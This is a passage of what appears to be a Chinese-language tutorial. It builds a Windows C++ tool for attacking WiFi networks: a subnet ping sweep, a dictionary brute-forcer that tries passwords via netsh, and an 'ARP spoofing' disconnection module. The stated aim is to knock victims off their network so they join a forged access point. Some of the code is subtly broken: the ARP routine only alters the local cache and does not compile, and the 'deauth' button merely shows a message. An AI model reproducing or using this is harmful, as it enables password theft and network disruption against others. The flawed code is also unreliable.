10, 30 + static_cast<int>(i) * 40, 350, 30,
hwnd, reinterpret_cast<HMENU>(1000 + i), NULL, NULL);
}
} break;
case WM_COMMAND: {
int buttonId = LOWORD(wParam);
if (buttonId >= 1000 && buttonId < 1000 + wifiList.size()) {
ShowWiFiDetailWindow((HINSTANCE)GetWindowLongPtr(hwnd, GWLP_HINSTANCE), wifiList[buttonId - 1000]);
}
} break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
// 主函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
FetchWiFiNetworks();
const wchar_t MAIN_CLASS[] = L"WiFiMainWindow";
WNDCLASS wc = {};
wc.lpfnWndProc = MainWindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = MAIN_CLASS;
RegisterClass(&wc);
HWND hwnd = CreateWindow(MAIN_CLASS, L"WiFi 网络",
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 600,
NULL, NULL, hInstance, NULL);
if (hwnd == NULL) {
return 0;
}
ShowWindow(hwnd, nCmdShow);
MSG msg = {};
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
注意,环境自己看着设置一下,有问题的帖下留言
运行效果
T3·获取内网信息(本人极其不推荐加这个,后续代码也不会加,可以考虑使用NMAP这种成熟工具)
**新建头文件 ****NetworkScanner.h**
#pragma once
#ifndef NETWORKSCANNER_H
#define NETWORKSCANNER_H
#include <iostream>
#include <vector>
#include <string>
#include <thread>
#include <mutex>
#include <sstream>
#include <windows.h>
#include <future>
#include <atomic>
#include <CommCtrl.h>
#pragma comment(lib, "Comctl32.lib")
std::mutex mtx; // 用于保护共享资源
std::atomic<int> completedTasks{ 0 }; // 已完成任务计数
// 单个 IP 扫描函数(隐藏 cmd 窗口)
bool IsHostActive(const std::string& ip) {
std::string command = "ping " + ip + " -n 1 -w 100 > nul";
return (system(command.c_str()) == 0);
}
// 多线程扫描内网主机
std::vector<std::string> ScanLocalNetworkMultithreaded(HWND progressBar) {
std::vector<std::string> activeIPs;
std::vector<std::future<void>> futures;
std::string baseIP = "192.168.1.";
// 设置进度条范围
SendMessage(progressBar, PBM_SETRANGE, 0, MAKELPARAM(0, 254));
for (int i = 1; i <= 254; i++) {
std::string ip = baseIP + std::to_string(i);
// 使用异步任务进行扫描
futures.push_back(std::async(std::launch::async, [ip, &activeIPs, progressBar]() {
if (IsHostActive(ip)) {
std::lock_guard<std::mutex> lock(mtx);
activeIPs.push_back(ip);
}
// 更新进度条
completedTasks++;
SendMessage(progressBar, PBM_SETPOS, completedTasks, 0);
}));
}
// 等待所有线程完成
for (auto& future : futures) {
future.get();
}
return activeIPs;
}
// 展示内网主机信息
void DisplayNetworkInfo(HWND hwnd) {
// 创建窗口用于显示进度条
HWND progressBar = CreateWindowEx(0, PROGRESS_CLASS, NULL,
WS_CHILD | WS_VISIBLE, 10, 10, 300, 30,
hwnd, NULL, NULL, NULL);
// 扫描主机
std::vector<std::string> activeIPs = ScanLocalNetworkMultithreaded(progressBar);
// 移除进度条
DestroyWindow(progressBar);
if (activeIPs.empty()) {
MessageBox(hwnd, L"未发现任何内网主机。", L"扫描结果", MB_OK | MB_ICONINFORMATION);
return;
}
std::wstringstream result;
result << L"内网主机数量:" << activeIPs.size() << L"\n\n";
for (const auto& ip : activeIPs) {
result << L"IP: " << std::wstring(ip.begin(), ip.end()) << L"\n";
}
MessageBox(hwnd, result.str().c_str(), L"扫描结果", MB_OK | MB_ICONINFORMATION);
}
#endif // NETWORKSCANNER_H
头文件详解
以下是 NetworkScanner.h 头文件的详细说明,包括其作用和每部分代码的功能。
头文件整体功能
该头文件的主要功能是扫描内网主机,并以弹窗形式显示:
- 内网主机的数量。
- 每台主机的 IP 地址。
- 显示实时进度条,反馈扫描进度。
- 使用多线程进行扫描,加速检测过程。
代码结构和功能
#pragma once
#ifndef NETWORKSCANNER_H
#define NETWORKSCANNER_H**#pragma once**** 和 include guards**:
- 防止头文件被重复包含,确保代码的唯一性。
#include <iostream>
#include <vector>
#include <string>
#include <thread>
#include <mutex>
#include <sstream>
#include <windows.h>
#include <future>
#include <atomic>
#include <CommCtrl.h>
#pragma comment(lib, "Comctl32.lib")- 包含的头文件和库:
**<iostream>**:标准输入输出,用于调试输出。**<vector>**:用于存储所有主机的 IP 地址。**<string>**:处理字符串。**<thread>**和**<future>**:实现多线程异步任务。**<mutex>**:保护共享资源(如主机列表)避免多线程冲突。**<windows.h>**:Windows API 核心头文件,管理窗口和系统操作。**<CommCtrl.h>**:提供 Windows 通用控件,如进度条。**<atomic>**:处理线程安全的计数器。**Comctl32.lib**:链接动态库以支持进度条控件。
多线程扫描内网主机
单个主机扫描函数
bool IsHostActive(const std::string& ip) {
std::string command = "ping " + ip + " -n 1 -w 100 > nul";
return (system(command.c_str()) == 0);
}- 功能:通过
ping命令检查指定的 IP 地址是否在线。
**ping + IP**:检查是否可以与 IP 通信。**-n 1**:只发送一个数据包,减少等待时间。**-w 100**:超时时间设为 100 毫秒。**> nul**:屏蔽cmd窗口输出。
- 返回值:
true:主机在线。false:主机不在线。
多线程扫描函数
std::vector<std::string> ScanLocalNetworkMultithreaded(HWND progressBar) {
std::vector<std::string> activeIPs;
std::vector<std::future<void>> futures;
std::string baseIP = "192.168.1.";
// 设置进度条范围
SendMessage(progressBar, PBM_SETRANGE, 0, MAKELPARAM(0, 254));
for (int i = 1; i <= 254; i++) {
std::string ip = baseIP + std::to_string(i);
// 使用异步任务进行扫描
futures.push_back(std::async(std::launch::async, [ip, &activeIPs, progressBar]() {
if (IsHostActive(ip)) {
std::lock_guard<std::mutex> lock(mtx);
activeIPs.push_back(ip);
}
// 更新进度条
completedTasks++;
SendMessage(progressBar, PBM_SETPOS, completedTasks, 0);
}));
}
// 等待所有线程完成
for (auto& future : futures) {
future.get();
}
return activeIPs;
}- 功能:扫描内网
192.168.1.1 - 192.168.1.254中的所有主机,使用多线程加速。
- 线程控制:通过
std::async启动异步任务,每个线程处理一个 IP。 - 进度条更新:通过
SendMessage更新进度条控件。 - 保护共享资源:
- 使用
std::mutex确保activeIPs(在线主机列表)在多线程访问时的安全性。
- 结果返回:返回所有在线主机的 IP 地址列表。
展示主机信息和进度条窗口
主机信息展示
void DisplayNetworkInfo(HWND hwnd) {
HWND progressBar = CreateWindowEx(0, PROGRESS_CLASS, NULL,
WS_CHILD | WS_VISIBLE, 10, 10, 300, 30,
hwnd, NULL, NULL, NULL);
// 扫描主机
std::vector<std::string> activeIPs = ScanLocalNetworkMultithreaded(progressBar);
// 移除进度条
DestroyWindow(progressBar);
if (activeIPs.empty()) {
MessageBox(hwnd, L"未发现任何内网主机。", L"扫描结果", MB_OK | MB_ICONINFORMATION);
return;
}
std::wstringstream result;
result << L"内网主机数量:" << activeIPs.size() << L"\n\n";
for (const auto& ip : activeIPs) {
result << L"IP: " << std::wstring(ip.begin(), ip.end()) << L"\n";
}
MessageBox(hwnd, result.str().c_str(), L"扫描结果", MB_OK | MB_ICONINFORMATION);
}- 功能:展示扫描结果(主机数量和 IP 地址)。
- 创建进度条窗口,显示扫描任务的完成状态。
- 调用
ScanLocalNetworkMultithreaded执行多线程扫描。 - 当扫描完成后,关闭进度条窗口。
- 使用
MessageBox显示最终扫描结果,包括:
- 内网主机总数量。
- 每个主机的 IP 地址。
头文件的关键点
- 进度条控件:
- 使用
CreateWindowEx创建 Windows 自带的进度条控件。 - 通过
SendMessage更新进度条位置。
- 多线程优化:
- 利用
std::async创建线程,分发任务,提升扫描速度。 - 使用
std::mutex确保线程安全。
- 结果输出:
- 简单明了,显示主机总数量和 IP。
- 隐藏 cmd 窗口:
- 通过
> nul屏蔽所有命令行输出,避免干扰。
头文件使用方式
- 引入头文件:
#include "NetworkScanner.h"- 调用展示函数:
DisplayNetworkInfo(hwnd);hwnd 是当前窗口的句柄,用于创建进度条控件和弹窗。
运行效果
1. 进度条窗口
在扫描过程中显示进度:
[===============> ] 完成任务:127/2542. 扫描结果
弹窗显示内网主机信息:
内网主机数量:3
IP: 192.168.1.1
IP: 192.168.1.100
IP: 192.168.1.150T4·对原WIFI断网攻击,迫使对方连接下一步的伪造WIFI
方法一:ARP
头文件1:**NetworkAttack.h**
这个采用ARP针对个体,在此附上,后文不使用这种方法
#pragma once
#ifndef NETWORKATTACK_H
#define NETWORKATTACK_H
#include <iostream>
#include <windows.h>
#include <thread>
#include <string>
#include <chrono>
#include <fstream>
#include <winsock2.h>
#include <iphlpapi.h>
#include <netinet/in.h>
#include <netinet/ether.h>
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
// 执行 ARP 欺骗攻击
void ExecuteARPAttack(const std::wstring& ssid, int duration, HWND hwndButton, HWND hwndCountdown) {
// 伪造 ARP 欺骗命令,使 WiFi 无法连接
// 假设目标WiFi路由器的IP和MAC地址,我们需要替换这些为真实值
std::string targetIP = "192.168.1.100"; // 目标设备的 IP 地址(需要替换为真实IP)
std::string gatewayIP = "192.168.1.1"; // 网关(路由器)的 IP 地址
std::string targetMAC = "00:11:22:33:44:55"; // 目标设备的 MAC 地址(需要替换为真实MAC)
std::string gatewayMAC = "66:77:88:99:AA:BB"; // 网关的 MAC 地址(需要替换为真实MAC)
// 持续发送伪造的 ARP 响应包
for (int i = 0; i < duration; i++) {
// 伪造 ARP 响应包
std::string attackCommandTarget = "arp -s " + targetIP + " " + gatewayMAC;
std::string attackCommandGateway = "arp -s " + gatewayIP + " " + targetMAC;
system(attackCommandTarget.c_str()); // 向目标设备发送伪造的 ARP 包
system(attackCommandGateway.c_str()); // 向网关发送伪造的 ARP 包
// 更新倒计时显示
std::wstring countdownText = L"攻击中,剩余时间:" + std::to_wstring(duration - i) + L" 秒";
SetWindowText(hwndCountdown, countdownText.c_str());
std::this_thread::sleep_for(std::chrono::seconds(1));
}
// 恢复 ARP 设置
system("arp -d " + targetIP); // 删除目标设备的伪造 ARP 缓存
system("arp -d " + gatewayIP); // 删除网关的伪造 ARP 缓存
// 恢复按钮状态和倒计时显示
SetWindowText(hwndCountdown, L"断网操作完成,可以重新操作。");
EnableWindow(hwndButton, TRUE); // 使按钮重新可用
}
// 断网输入窗口过程
LRESULT CALLBACK InputWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
static HWND inputField, countdownLabel, actionButton;
static std::wstring ssid;
switch (uMsg) {
case WM_CREATE: {
ssid = *(std::wstring*)(((CREATESTRUCT*)lParam)->lpCreateParams);
// 输入提示
CreateWindow(L"STATIC", L"输入断网时间 (秒):",
WS_VISIBLE | WS_CHILD, 10, 10, 200, 20,
hwnd, NULL, NULL, NULL);
// 输入框
inputField = CreateWindow(L"EDIT", L"",
WS_VISIBLE | WS_CHILD | WS_BORDER, 10, 40, 100, 20,
hwnd, NULL, NULL, NULL);
// 倒计时显示
countdownLabel = CreateWindow(L"STATIC", L"",
WS_VISIBLE | WS_CHILD, 10, 70, 300, 20,
hwnd, NULL, NULL, NULL);
// 操作按钮
actionButton = CreateWindow(L"BUTTON", L"确认",
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 10, 100, 80, 30,
hwnd, (HMENU)1, NULL, NULL);
CreateWindow(L"BUTTON", L"取消",
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 100, 100, 80, 30,
hwnd, (HMENU)2, NULL, NULL);
} break;
case WM_COMMAND: {
if (LOWORD(wParam) == 1) { // 确认按钮
wchar_t buffer[10];
GetWindowText(inputField, buffer, 10);
int duration = _wtoi(buffer); // 转换输入为整数
if (duration > 0) {
EnableWindow(actionButton, FALSE); // 禁用按钮
std::thread(ExecuteARPAttack, ssid, duration, actionButton, countdownLabel).detach();
}
else {
MessageBox(hwnd, L"请输入有效的断网时间!", L"错误", MB_OK | MB_ICONERROR);
}
}
else if (LOWORD(wParam) == 2) { // 取消按钮
DestroyWindow(hwnd);
}
} break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
// 弹出断网输入窗口
void ShowDisconnectPrompt(const std::wstring& ssid) {
const wchar_t INPUT_CLASS[] = L"NetworkAttackInput";
WNDCLASS wc = {};
wc.lpfnWndProc = InputWindowProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = INPUT_CLASS;
RegisterClass(&wc);
HWND hwnd = CreateWindow(INPUT_CLASS, L"断网操作",
WS_OVERLAPPEDWINDOW & ~WS_THICKFRAME & ~WS_MAXIMIZEBOX,
CW_USEDEFAULT, CW_USEDEFAULT, 320, 200,
NULL, NULL, wc.hInstance, (LPVOID)&ssid);
ShowWindow(hwnd, SW_SHOW);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
#endif // NETWORKATTACK_H
主程序修改部分
在 WiFi 密码破解成功后调用 ShowDisconnectPrompt 函数,并传递 WiFi 的 SSID。
修改部分代码
#include "NetworkAttack.h"
// WiFi详情窗口过程
LRESULT CALLBACK DetailWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
static WiFiInfo* wifi = nullptr;
switch (uMsg) {
case WM_CREATE: {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
wifi = (WiFiInfo*)cs->lpCreateParams;
std::wstringstream details;
details << L"SSID: " << wifi->ssid << L"\n"
<< L"认证算法: " << wifi->authAlgo << L"\n"
<< L"BSS类型: " << wifi->bssType << L"\n"
<< L"信号强度: " << wifi->signalQuality << L"%\n"
<< L"频段: " << wifi->band;
CreateWindow(L"STATIC", details.str().c_str(),
WS_VISIBLE | WS_CHILD, 10, 10, 350, 100,
hwnd, NULL, NULL, NULL);
CreateWindow(PROGRESS_CLASS, NULL,
WS_VISIBLE | WS_CHILD, 10, 120, 350, 20,
hwnd, (HMENU)2000, NULL, NULL);
CreateWindow(L"BUTTON", L"开始爆破",
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 10, 150, 100, 30,
hwnd, (HMENU)3000, NULL, NULL);
CreateWindow(L"BUTTON", L"停止爆破",
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 120, 150, 100, 30,
hwnd, (HMENU)3001, NULL, NULL);
} break;
case WM_COMMAND: {
switch (LOWORD(wParam)) {
case 3000: // 开始爆破
std::thread([](HWND hwnd, WiFiInfo wifi) {
auto password = BruteForceWiFi(hwnd, wifi.ssid, L"passwords.txt");
if (!password.empty()) {
MessageBox(hwnd, (L"密码爆破成功,密码为:" + password).c_str(), L"成功", MB_OK | MB_ICONINFORMATION);
// 弹出断网窗口
ShowDisconnectPrompt(wifi.ssid);
} else {
MessageBox(hwnd, L"密码爆破失败!未找到正确密码。", L"失败", MB_OK | MB_ICONERROR);
}
}, hwnd, *wifi).detach();
break;
case 3001: // 停止爆破
stopBruteForce = true;
break;
}
} break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}——————————————————————————————————————————————
——————————————————————————————————————————————
方法二:Jamming去认证帧攻击断整个WIFI
1.先获取攻击WIFI的mac码
#include <windows.h>
#include <wlanapi.h>
#include <CommCtrl.h>
#include <objbase.h>
#include <string>
#include <vector>
#include <sstream>
#include <thread>
#include <fstream>
#include <atomic>
#include <locale>
#include <codecvt>
#include <chrono>
#include <iostream>
#pragma comment(lib, "Wlanapi.lib")
#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "Comctl32.lib")
struct WiFiInfo {
std::wstring ssid; // WiFi名称
std::wstring authAlgo; // 认证算法
std::wstring bssType; // BSS类型
int signalQuality; // 信号质量
std::wstring band; // 频段
};
std::vector<WiFiInfo> wifiList; // WiFi列表
std::atomic<bool> stopBruteForce = false; // 停止爆破的标志
// 获取WiFi网络信息
void FetchWiFiNetworks() {
HANDLE clientHandle = NULL;
DWORD version = 2;
DWORD negotiatedVersion = 0;
PWLAN_INTERFACE_INFO_LIST interfaceList = NULL;
PWLAN_AVAILABLE_NETWORK_LIST networkList = NULL;
CoInitialize(NULL);
DWORD result = WlanOpenHandle(version, NULL, &negotiatedVersion, &clientHandle);
if (result != ERROR_SUCCESS) {
MessageBox(NULL, L"无法打开WLAN句柄。", L"错误", MB_OK | MB_ICONERROR);
CoUninitialize();
return;
}
result = WlanEnumInterfaces(clientHandle, NULL, &interfaceList);
if (result != ERROR_SUCCESS) {
MessageBox(NULL, L"无法枚举WLAN接口。", L"错误", MB_OK | MB_ICONERROR);
WlanCloseHandle(clientHandle, NULL);
CoUninitialize();
return;
}
for (DWORD i = 0; i < interfaceList->dwNumberOfItems; i++) {
PWLAN_INTERFACE_INFO interfaceInfo = &interfaceList->InterfaceInfo[i];
result = WlanGetAvailableNetworkList(clientHandle, &interfaceInfo->InterfaceGuid, 0, NULL, &networkList);
if (result != ERROR_SUCCESS) {
continue;
}
for (DWORD j = 0; j < networkList->dwNumberOfItems; j++) {
PWLAN_AVAILABLE_NETWORK network = &networkList->Network[j];
WiFiInfo info;
// SSID
info.ssid = std::wstring(network->dot11Ssid.ucSSID, network->dot11Ssid.ucSSID + network->dot11Ssid.uSSIDLength);
// Auth Algorithm
switch (network->dot11DefaultAuthAlgorithm) {
case DOT11_AUTH_ALGO_RSNA_PSK:
info.authAlgo = L"WPA2-PSK";
break;
case DOT11_AUTH_ALGO_WPA_PSK:
info.authAlgo = L"WPA-PSK";
break;
case DOT11_AUTH_ALGO_80211_OPEN:
info.authAlgo = L"开放";
break;
default:
info.authAlgo = L"未知";
break;
}
// BSS Type
info.bssType = network->dot11BssType == dot11_BSS_type_infrastructure ? L"基础设施" : L"Ad hoc";
// Signal Quality
info.signalQuality = network->wlanSignalQuality;
// Band
if (network->dot11PhyTypes[0] == dot11_phy_type_vht) {
info.band = L"5GHz";
}
else {
info.band = L"2.4GHz";
}
wifiList.push_back(info);
}
WlanFreeMemory(networkList);
}
WlanFreeMemory(interfaceList);
WlanCloseHandle(clientHandle, NULL);
CoUninitialize();
}
// 检查能否 Ping 通百度
bool CanPingBaidu() {
std::string pingCmd = "ping www.baidu.com -n 1 > nul 2>&1";
return system(pingCmd.c_str()) == 0;
}
std::wstring GetConnectedWiFiMacAddress() {
HANDLE clientHandle = NULL;
PWLAN_INTERFACE_INFO_LIST interfaceList = NULL;
PWLAN_CONNECTION_ATTRIBUTES connectionAttributes = NULL;
DWORD version = 2;
DWORD negotiatedVersion = 0;
DWORD dataSize = 0;
std::wstring macAddress = L"未知";
CoInitialize(NULL);
if (WlanOpenHandle(version, NULL, &negotiatedVersion, &clientHandle) == ERROR_SUCCESS) {
if (WlanEnumInterfaces(clientHandle, NULL, &interfaceList) == ERROR_SUCCESS) {
for (DWORD i = 0; i < interfaceList->dwNumberOfItems; ++i) {
if (WlanQueryInterface(
clientHandle,
&interfaceList->InterfaceInfo[i].InterfaceGuid,
wlan_intf_opcode_current_connection,
NULL,
&dataSize,
(PVOID*)&connectionAttributes,
NULL
) == ERROR_SUCCESS) {
if (connectionAttributes->isState == wlan_interface_state_connected) {
macAddress = L"";
for (int j = 0; j < 6; ++j) {
wchar_t buffer[3];
swprintf(buffer, 3, L"%02X", connectionAttributes->wlanAssociationAttributes.dot11Bssid[j]);
macAddress += buffer;
if (j < 5) {
macAddress += L":";
}
}
break;
}
}
if (connectionAttributes) {
WlanFreeMemory(connectionAttributes);
connectionAttributes = NULL;
}
}
}
}
if (interfaceList) WlanFreeMemory(interfaceList);
if (clientHandle) WlanCloseHandle(clientHandle, NULL);
CoUninitialize();
return macAddress;
}
void ShowAttackPrompt(const std::wstring& macAddress) {
const wchar_t PROMPT_CLASS[] = L"AttackPromptWindow";
WNDCLASS wc = {};
wc.lpfnWndProc = [](HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) -> LRESULT {
static std::wstring* macAddress = nullptr;
switch (msg) {
case WM_CREATE: {
macAddress = (std::wstring*)((LPCREATESTRUCT)lParam)->lpCreateParams;
CreateWindow(L"STATIC", L"当前连接的WiFi MAC地址:",
WS_VISIBLE | WS_CHILD, 10, 10, 300, 20, hwnd, NULL, NULL, NULL);
HWND edit = CreateWindow(L"EDIT", macAddress->c_str(),
WS_VISIBLE | WS_CHILD | ES_READONLY | WS_BORDER, 10, 40, 300, 20, hwnd, NULL, NULL, NULL);
CreateWindow(L"BUTTON", L"复制MAC地址",
WS_VISIBLE | WS_CHILD, 10, 70, 100, 30, hwnd, (HMENU)1, NULL, NULL);
CreateWindow(L"BUTTON", L"攻击WiFi",
WS_VISIBLE | WS_CHILD, 120, 70, 100, 30, hwnd, (HMENU)2, NULL, NULL);
CreateWindow(L"BUTTON", L"取消",
WS_VISIBLE | WS_CHILD, 230, 70, 100, 30, hwnd, (HMENU)3, NULL, NULL);
break;
}
case WM_COMMAND: {
HGLOBAL hMem = NULL; // 提升 hMem 定义到 switch 外部
switch (LOWORD(wParam)) {
case 1: // 复制MAC地址
OpenClipboard(hwnd);
EmptyClipboard();
hMem = GlobalAlloc(GMEM_MOVEABLE, (macAddress->size() + 1) * sizeof(wchar_t));
if (hMem) {
memcpy(GlobalLock(hMem), macAddress->c_str(), (macAddress->size() + 1) * sizeof(wchar_t));
GlobalUnlock(hMem);
SetClipboardData(CF_UNICODETEXT, hMem);
}
CloseClipboard();
MessageBox(hwnd, L"MAC地址已复制到剪贴板!", L"提示", MB_OK | MB_ICONINFORMATION);
break;
case 2: // 攻击WiFi
MessageBox(hwnd, L"攻击已启动!", L"提示", MB_OK | MB_ICONWARNING);
DestroyWindow(hwnd);
break;
case 3: // 取消
DestroyWindow(hwnd);
break;
}
break;
}
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
return 0;
};
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = PROMPT_CLASS;
RegisterClass(&wc);
HWND hwnd = CreateWindow(PROMPT_CLASS, L"是否攻击WiFi",
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 350, 150,
NULL, NULL, GetModuleHandle(NULL), (LPVOID)&macAddress);
ShowWindow(hwnd, SW_SHOW);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
// 函数:使用 Netsh 尝试连接 WiFi
bool TryConnectToWiFi(const std::wstring& ssid, const std::wstring& password) {
const std::string configFile = "wifi_profile.xml";
// 清除旧的 WiFi 配置
std::string deleteProfileCmd = "netsh wlan delete profile name=\"" + std::string(ssid.begin(), ssid.end()) + "\"";
system(deleteProfileCmd.c_str());
// 创建 WiFi 配置文件
std::ofstream file(configFile);
if (!file) return false;
file << "<?xml version=\"1.0\"?>\n"
<< "<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n"
<< " <name>" << std::string(ssid.begin(), ssid.end()) << "</name>\n"
<< " <SSIDConfig>\n"
<< " <SSID>\n"
<< " <name>" << std::string(ssid.begin(), ssid.end()) << "</name>\n"
<< " </SSID>\n"
<< " </SSIDConfig>\n"
<< " <connectionType>ESS</connectionType>\n"
<< " <connectionMode>manual</connectionMode>\n"
<< " <MSM>\n"
<< " <security>\n"
<< " <authEncryption>\n"
<< " <authentication>WPA2PSK</authentication>\n"
<< " <encryption>AES</encryption>\n"
<< " <useOneX>false</useOneX>\n"
<< " </authEncryption>\n"
<< " <sharedKey>\n"
<< " <keyType>passPhrase</keyType>\n"
<< " <protected>false</protected>\n"
<< " <keyMaterial>" << std::string(password.begin(), password.end()) << "</keyMaterial>\n"
<< " </sharedKey>\n"
<< " </security>\n"
<< " </MSM>\n"
<< "</WLANProfile>\n";
file.close();
// 添加 WiFi 配置
std::string addProfileCmd = "netsh wlan add profile filename=\"" + configFile + "\"";
if (system(addProfileCmd.c_str()) != 0) {
return false;
}
// 尝试连接
std::string connectCmd = "netsh wlan connect name=\"" + std::string(ssid.begin(), ssid.end()) + "\"";
if (system(connectCmd.c_str()) == 0) {
std::this_thread::sleep_for(std::chrono::seconds(2));
return CanPingBaidu();
}
return false;
}
// 函数:从字典中尝试密码
std::wstring BruteForceWiFi(HWND hwnd, const std::wstring& ssid, const std::wstring& dictionaryFile) {
std::wifstream dictionary(dictionaryFile);
if (!dictionary) {
MessageBox(hwnd, L"无法打开密码字典文件!", L"错误", MB_OK | MB_ICONERROR);
return L"";
}
size_t totalAttempts = 0;
std::wstring password;
while (std::getline(dictionary, password)) {
if (!password.empty()) totalAttempts++;
}
dictionary.clear();
dictionary.seekg(0, std::ios::beg);
HWND progressBar = GetDlgItem(hwnd, 2000);
SendMessage(progressBar, PBM_SETRANGE, 0, MAKELPARAM(0, totalAttempts));
size_t currentAttempt = 0;
while (std::getline(dictionary, password) && !stopBruteForce) {
if (password.empty()) continue;
if (TryConnectToWiFi(ssid, password)) {
dictionary.close();
std::this_thread::sleep_for(std::chrono::seconds(2)); // 等待2秒
auto macAddress = GetConnectedWiFiMacAddress(); // 获取当前连接的WiFi MAC地址
ShowAttackPrompt(macAddress); // 显示询问窗口
return password; // 返回正确密码
}
currentAttempt++;
SendMessage(progressBar, PBM_SETPOS, currentAttempt, 0);
}
dictionary.close();
return L""; // 未找到正确密码
}
// WiFi详情窗口过程
LRESULT CALLBACK DetailWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
static WiFiInfo* wifi = nullptr;
switch (uMsg) {
case WM_CREATE: {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
wifi = (WiFiInfo*)cs->lpCreateParams;
std::wstringstream details;
details << L"SSID: " << wifi->ssid << L"\n"
<< L"认证算法: " << wifi->authAlgo << L"\n"
<< L"BSS类型: " << wifi->bssType << L"\n"
<< L"信号强度: " << wifi->signalQuality << L"%\n"
<< L"频段: " << wifi->band;
CreateWindow(L"STATIC", details.str().c_str(),
WS_VISIBLE | WS_CHILD, 10, 10, 350, 100,
hwnd, NULL, NULL, NULL);
CreateWindow(PROGRESS_CLASS, NULL,
WS_VISIBLE | WS_CHILD, 10, 120, 350, 20,
hwnd, (HMENU)2000, NULL, NULL);
CreateWindow(L"BUTTON", L"开始爆破",
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 10, 150, 100, 30,
hwnd, (HMENU)3000, NULL, NULL);
CreateWindow(L"BUTTON", L"停止爆破",
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 120, 150, 100, 30,
hwnd, (HMENU)3001, NULL, NULL);
} break;
case WM_COMMAND: {
switch (LOWORD(wParam)) {
case 3000: // 开始爆破
std::thread([](HWND hwnd, WiFiInfo wifi) {
auto password = BruteForceWiFi(hwnd, wifi.ssid, L"passwords.txt");
if (!password.empty()) {
MessageBox(hwnd, (L"密码爆破成功,密码为:" + password).c_str(), L"成功", MB_OK | MB_ICONINFORMATION);
}
else {
MessageBox(hwnd, L"密码爆破失败!未找到正确密码。", L"失败", MB_OK | MB_ICONERROR);
}
}, hwnd, *wifi).detach();
break;
case 3001: // 停止爆破
stopBruteForce = true;
break;
}
} break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
// 显示WiFi详情窗口
void ShowWiFiDetailWindow(HINSTANCE hInstance, WiFiInfo& wifi) {
const wchar_t DETAIL_CLASS[] = L"WiFiDetailWindow";
WNDCLASS wc = {};
wc.lpfnWndProc = DetailWindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = DETAIL_CLASS;
RegisterClass(&wc);
HWND hwnd = CreateWindow(DETAIL_CLASS, L"WiFi 详情",
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 250,
NULL, NULL, hInstance, &wifi);
ShowWindow(hwnd, SW_SHOW);
}
// 主窗口过程
LRESULT CALLBACK MainWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_CREATE: {
for (size_t i = 0; i < wifiList.size(); i++) {
CreateWindow(L"BUTTON", wifiList[i].ssid.c_str(),
WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
10, 30 + static_cast<int>(i) * 40, 350, 30,
hwnd, reinterpret_cast<HMENU>(1000 + i), NULL, NULL);
}
} break;
case WM_COMMAND: {
int buttonId = LOWORD(wParam);
if (buttonId >= 1000 && buttonId < 1000 + wifiList.size()) {
ShowWiFiDetailWindow((HINSTANCE)GetWindowLongPtr(hwnd, GWLP_HINSTANCE), wifiList[buttonId - 1000]);
}
} break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
// 主函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
FetchWiFiNetworks();
const wchar_t MAIN_CLASS[] = L"WiFiMainWindow";
WNDCLASS wc = {};
wc.lpfnWndProc = MainWindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = MAIN_CLASS;
RegisterClass(&wc);
HWND hwnd = CreateWindow(MAIN_CLASS, L"WiFi 网络",
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 600,
NULL, NULL, hInstance, NULL);
if (hwnd == NULL) {
return 0;
}
ShowWindow(hwnd, nCmdShow);
MSG msg = {};
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
1. 结构体定义struct WiFiInfo
struct WiFiInfo {
std::wstring ssid; // WiFi名称
